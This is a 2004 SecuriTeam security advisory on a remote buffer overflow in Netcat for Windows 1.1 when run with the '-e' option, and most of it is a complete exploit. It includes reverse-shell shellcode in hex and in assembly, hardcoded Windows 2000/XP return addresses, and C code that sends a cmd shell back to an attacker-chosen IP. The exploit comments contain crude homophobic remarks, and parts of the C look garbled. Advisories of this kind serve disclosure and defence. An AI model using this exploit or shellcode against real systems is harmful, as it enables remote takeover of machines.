

[NT] Netcat for Windows '-e' Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0120.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/29/04

To: list@securiteam.com

Date: 29 Dec 2004 09:35:46 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Netcat for Windows '-e' Buffer Overflow

SUMMARY

<<http://www.vulnwatch.org/netcat/>> Netcat for Windows has a buffer overflow vulnerability that allows remote execution of code. It is exposed when netcat is run using the `-e` option which execs a process and pipes the listening socket io to the stdio of the exec'd process.

Note that this issue does not exist in netcat for the UNIX platform.

DETAILS

Vulnerable Systems:

- * Netcat for Windows version 1.1

Immune Systems:

- * Netcat for Windows version 1.11 (available from:

<<http://www.vulnwatch.org/netcat/>> <http://www.vulnwatch.org/netcat/>)

Exploit:

/*

Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

Affected versions.: v1.1 – SEC

Fix.....: Actually none, Hobbit is warned 1 month+ ago, and looks like

to not act, we let him to spread a backdoor :)

Risk.....: Highly critical.

–Almost everything loaded as "nc ... -e ..." is vulnerable

–Educational tools such as the uw-imapd

(<http://www.washington.edu/imap/>) contains no port listener, if it's loaded with netcat (ie: nc -L -p 143 -t -e imapd.exe 25 -t -e pop3d.exe etc..vulnerable..)

this small example show you the large impact of this hole.

–Tools build on netcat , I guess are vulnerable , such as the netcat with

authentication or others tools based on netcat without a security check on src.

–Next time you run netcat -e , be sure of what you run because as said Hobbit,

the "-e" switch is really DANGEROUS!! :DDD

Compilation.....: 101_ncat.cpp Win32 (MSVC,cygwin)

101_ncat.c Linux (FreeBSD,etc..)

Greetings.....: Nima Majidi, Behrang Fouladi (cool teammates ;p)

DiabloHorn, kimatrix (KD-Team guys)

Nicolas Waisman, MMiller(skape), H.D Moore, BJWever (for the

help)

Brett Moore (for all help and specially there

for suggesting me that way of MSVCRT.system call

```
; call system()
mov eax,1656E64h ; mov cmd + 01010101 to eax
sub eax,01010101h ; sub 01010101
push eax ; Push cmd on stack with our null byte :)
push esp ; Location to cmd
call ebp ; Call system()
```

via that way you can push on the stack "\x00"cmd without breaking your payload.

Because in the public shellcode that he published on mailinglist

```
; Call system()
push 20646D63h ; Push cmd on stack, null exists from above
push esp ; Location to cmd
call ebp ; Call system()
```

Sure it's smaller to push directly "\x20"cmd but MSVCRT.system was also grabbing invalid unicode chars before "\x20"cmd including esp pointing to cmd (windows bug ?:>)(on w2k

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

sp4 server).

Else to bypass a bad char , I do a small change ,adding 6 nop,
to kick out "\x0A" bugging there for netcat and proolly more.

This to finally say that the size of the shellcode is now 220 bytes
instead

of 205 (still awesome for a reversecmd generic win32 shellcode)

Tested working on W2k SP4,XP all SP. Excellent job by Brett Moore wich
I throw all credits

because this shellcode is the brain of that exploit ;)

Extra.....: !All tests were made on nc.exe from
<http://www.securityfocus.com/tools/139/scoreit!>

!All tests were made loading netcat: nc -L -p 143 -t -e
c:\imapd.exe!

(hoping the processus wont change if you load differently
netcat, I dont think, else update urself!

!See in the code if you need the shellcode in ASM format,
really useful peace of code, thanx to bmoore and me!

!Don't use ip with #0 as '127.0.0.1' , this will break the payload.

Bug discovery.....: class101

Exploit code.....: class101 at www.hat-squad.com – dfind.kd-team.com –
#n3ws EFnet

Quizz.....: Wich crew is enough stupid to spread perl worm codes
?

K _ O _ i _

easy ;>

```
*/  
#include <stdio.h>  
#include <string.h>  
#include <time.h>  
#ifdef WIN32  
#include "winsock2.h"  
#pragma comment(lib, "ws2_32")  
#else  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <netinet/in_sysm.h>  
#include <netinet/ip.h>  
#include <netdb.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#endif
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

```
// GENERIC callback cmd execution shellcode
// by Brett Moore @ Security-Assessment.com
// 205 bytes + 8 bytes to bypass null byte problem spoke ealier. bmoore
// + 6 nop added to avoid bad char "\x0A". class101
// + 1 bytes of CMP&JMP instruction added to fix an important bug.
class101
// (shellcode was spawning a shell if you use it locally,
// but access violation trying to spawn a shell on remote ip, now fixed.)
// = 220 bytes
```

```
char scode[] =
"\xEB\x21\x02\x01\x00\x00\x00\x00\x00\x00\x01\x4A\x36\x4D\x53\x56"
"\x43\x52\x54\x01\x2A\x42\xD4\x8A\x57\x53\x32\x5F\x33\x32\x01\x7C"
"\x81\x2C\x4E\x68\x5F\x57\xC3\xAC\xFF\xD4\xBE\x0C\xF0\xFD\x7F\xAD"
"\xFF\x36\x8B\x70\x1C\xAD\x8B\x50\x08\x6A\xF8\x8D\x5F\xF8\x54\x5D"
"\x8B\x4A\x3C\x8B\x74\x11\x78\x8D\x74\x16\x1C\xB1\x03\xAD\x03\xC2"
"\x50\xE2\xFA\x4B\x8B\x75\xF8\x33\xC0\x50\x50\xAD\x03\xC2\x33\xC9"
"\x66\x03\x08\x02\x08\x40\x80\x38\x01\x7D\xF5\x58\x40\x66\x3B\x0B"
"\x75\xE8\x5E\x96\x4E\xD1\xE6\x03\x75\xF4\x66\xAD\xC1\xE0\x02\x03"
"\x45\xFC\x96\xAD\x03\xC2\xAB\x4B\x80\x3B\x01\x75\xC6\xC9\xFE\x0B"
"\x83\xEB\x06\x80\x7B\xFF\x01\x74\x10\x53\xFF\x14\x2F\x92\x6A\xF0"
"\x4B\x75\x9B\x90\x90\x90\x90\x90\x90\x95\xFF\x57\xF0\x33\xC9\x51"
"\x51\x51\x51\x41\x51\x41\x51\xFF\x57\xF8\x87\xCF\x5F\x83\xC7\x18"
"\xAB\xAB\xAB\x4B\xFE\x0B\x4B\x53\x53\x50\xFF\x51\xF4\xB8\x64\x6E"
"\x65\x01\x2D\x01\x01\x01\x01\x50\x54\xFF\xD5\x90";
```

```
/*
```

```
bmoore.asm
```

```
***** Christmas
```

```
Shells*****
```

```
; Callback Shell.
```

```
; Directly set std handles and call system()
```

```
;
```

```
; 220 (DCh) bytes
```

```
;
```

```
; its not code, its antic0de
```

```
; and it works now too %-)
```

```
; Left it in tasm format.
```

```
; tasm32 -ml /m5 bmoore.asm
```

```
; tlink32 -Tpe -c -x bmoore.obj ,, import32
```

```
;
```

```
***** Christmas
```

```
Shells*****
```

```
; Jimminy jellicas its been jimplemented.
```

```
; Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
```

```
; All the o/s peeps who know whats what.
```

```
*****
```

```
;/bmoore
```

```
;
```

```
; Tested working on Win2k SP4 Server,Pro and WinXP SP1a Pro Eng.
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

```
;//class101
586p
locals

model flat, stdcall
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn WSACleanup:PROC

data
wsadescription_len equ 256
wsasys_status_len equ 128

WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends

wsadata WSAdata <?>

code
;*****
; Winsock + copy to stack code
;*****
start:

push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
jmp codeend

winsock_found:

mov ebx,offset realstart
sub esp,400h
mov eax,esp

Copyit:

mov cl,byte ptr [ebx]
mov byte ptr [eax],cl
inc eax
inc ebx
cmp ebx,offset codeend
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

```
jle Copyit  
jmp esp
```

```
,*  
; This is the start of the shell code  
,*
```

realstart:

```
jmp over_data  
sockdat db 02h,01h,00h,065h  
        db 07fh,00h,00h,01h
```

```
hashes db 01h  
dw 364Ah  
db "MSVCRT",01  
dw 422Ah  
dw 8AD4h  
db "WS2_32",01  
dw 817Ch  
dw 4E2Ch
```

over_data:

```
    push 0ACC3575Fh  
    call esp  
    mov esi,7ffdf00ch  
    lodsd  
    push dword ptr [esi]  
    mov esi,[eax + 1ch]  
    lodsd  
    mov edx,[eax + 08h]  
    push -8  
    lea ebx,[edi-8]
```

LookupFunctions:

```
push esp  
pop ebp  
mov ecx,dword ptr [edx + 3ch]  
mov esi,dword ptr [ecx + edx + 78h]  
lea esi,dword ptr [esi + edx + 1ch]  
mov cl,3
```

StoreAddress:

```
    lodsd  
    add eax,edx  
    push eax  
    loop short StoreAddress
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

SearchStart:

```
dec ebx
mov esi,dword ptr [ebp - 8]
xor eax,eax
push eax
```

Search:

```
push eax
  lodsd
  add eax,edx
xor ecx,ecx
```

hashy:

```
add cx,word ptr [eax]
add cl,byte ptr [eax]
inc eax
cmp byte ptr [eax],01
jge hashy
pop eax
inc eax
cmp cx,[ebx]
jne Search
pop esi
xchg esi,eax
dec esi
shl esi,1
  add esi,dword ptr [ebp - 0ch]
  lodsw
  shl eax,2
  add eax,dword ptr [ebp - 4h]
xchg esi,eax
lodsd
  add eax,edx
stosd
dec ebx
cmp byte ptr [ebx],01h
jne short SearchStart
leave
dec byte ptr [ebx]
sub ebx,06h
; //bmoore
cmp byte ptr [ebx-1],01h
je short Done_Finding
; //class101
push ebx
call dword ptr [edi + ebp]
xchg edx,eax
push -16
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

```
dec ebx
jne short LookupFunctions
; //bmoore
nop
nop
nop
nop
nop
nop
; //class101
Done_Finding:
```

```
xchg eax,ebp
call [EDI - 10h]
xor ecx,ecx
push ecx
push ecx
push ecx
push ecx
inc ecx
push ecx
inc ecx
push ecx
call [EDI - 08h]
xchg ecx,edi
pop edi
add edi,18h
stosd
stosd
stosd
dec ebx
dec byte ptr [ebx]
dec ebx
push ebx
push ebx
push eax
call [ecx - 0ch]
mov eax,1656E64h
sub eax,01010101h
push eax
push esp
call ebp
nop
call WSACleanup
```

```
codeend:
```

```
end start
; //bmoore
-----EOF
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

*/

```
static char payload[1000];

char jmpebx[]="\x73\x1c\x57\x7c"; //JMP EBX – kernel32.dll – Win2k SP4
Server,Pro English
char popopret[]="\xb1\x2c\xc2\x77"; //POP,POP,RET – msvcrt.dll – WinXP
SP2,SP1a,SP1 Pro English – I finally found out XP exploitation ;<
char jmp1[]="\xeb\x07\x90"; //JMP 9 bytes down
char jmp2[]="\x90\x90\x90\xe9\x07\xff\xff\xff"; //long JMP up
char gay[]="\x4b\x2d\x4f\x54\x69\x4b"; //giving bl0wjob for free :>

#ifdef WIN32
WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
if ((argc!=6)||((atoi(argv[1])<1)||((atoi(argv[1])>2)){ usage(argv[0]);return
-1;}}
#ifdef WIN32
gip=inet_addr(argv[4])^(long)0x00000000;
gport=htons(atoi(argv[5])^(short)0x0000;
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){ printf("[+] wsastartup
error\n");return -1;}
gip=inet_addr(argv[4])^(ULONG)0x00000000;
gport=htons(atoi(argv[5])^(USHORT)0x0000;
#endif
int ip=htonl(inet_addr(argv[2])), port=atoi(argv[3]), sz, sizeA, sizeB,
sizeC, c, b, a;
char *target, *os;
memcpy(&scode[6], &gip, 4);
memcpy(&scode[4], &gport, 2);
if (atoi(argv[1]) == 1){ target=jmpebx;os="Win2k SP4 Server English\n[+]
Win2k SP4 Pro. English";}
if (atoi(argv[1]) == 2){ target=popopret;os="WinXP SP2 Pro. English\n[+]
WinXP SP1a Pro. English\n[+] WinXP SP1 Pro. English";}
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==-1){ printf("[+] socket() error\n");return -1;}
printf("[+] target(s): %s\n",os);
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

```
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
connect(s,( struct sockaddr *)&server,sizeof(server));
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {printf("[+] select() error\n");closesocket(s);return -1;}
case 0: {printf("[+] connect() error\n");closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
printf("[+] connected, constructing the payload...\n");
#ifdef WIN32
Sleep(2000);
#else
Sleep(2);
#endif
sizeA=10;
sizeB=228-sizeof(scode);
sizeC=25;
sz=10+227+3+4+8+25;
memset(payload,0,sizeof(payload));
for (a=0;a<sizeA;a++){strcat(payload,"\x90");}
strcat(payload,scode);
for (b=0;b<sizeB;b++){strcat(payload,"\x90");}
strcat(payload,jmp1);
strcat(payload,target);
strcat(payload,jmp2);
for (c=0;c<sizeC;c++){strcat(payload,"\x90");}
if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error,
the server proly rebooted.\n");return -1;}
#ifdef WIN32
Sleep(1000);
#else
Sleep(1);
#endif
printf("[+] size of payload: %d\n",sz);
printf("[+] payload send, look at your listener, you should get a
shell\n");
return 0;
}
}
closesocket(s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}
```

Securiteam: [NT] Netcat for Windows '-e' Buffer Overflow

```
void usage(char* us)
{
printf("USAGE: 101_ncat.exe Target VulnIP VulnPORT GayIP GayPORT\n");
printf("TARGETS: \n");
printf(" [+] 1. Win2k SP4 Server English (*)\n");
printf(" [+] 1. Win2k SP4 Pro. English (*)\n");
printf(" [+] 2. WinXP SP1 Pro. English (*)\n");
printf(" [+] 2. WinXP SP1a Pro. English (*)\n");
printf(" [+] 2. WinXP SP2 Pro. English (*)\n");
printf("NOTE: \n");
printf(" The exploit reverse a cmd to GayIP:GayPORT :>\n");
printf(" A wildcard (*) mean Tested.\n");
return;
}
void ver()
{
printf(" \n");
printf("=====[v0.1]====\n");
printf("====Netcat v1.1, The TCP/IP Swiss Army Knife====\n");
printf("====\"-e\" Switch, Remote Buffer Overflow Exploit====\n");
printf("====coded by class101====[Hat-Squad.com 2004]====\n");
printf("====\n");
printf(" \n");
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:bugtraq@hat-squad.com>>
Hat-Squad Security Team.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.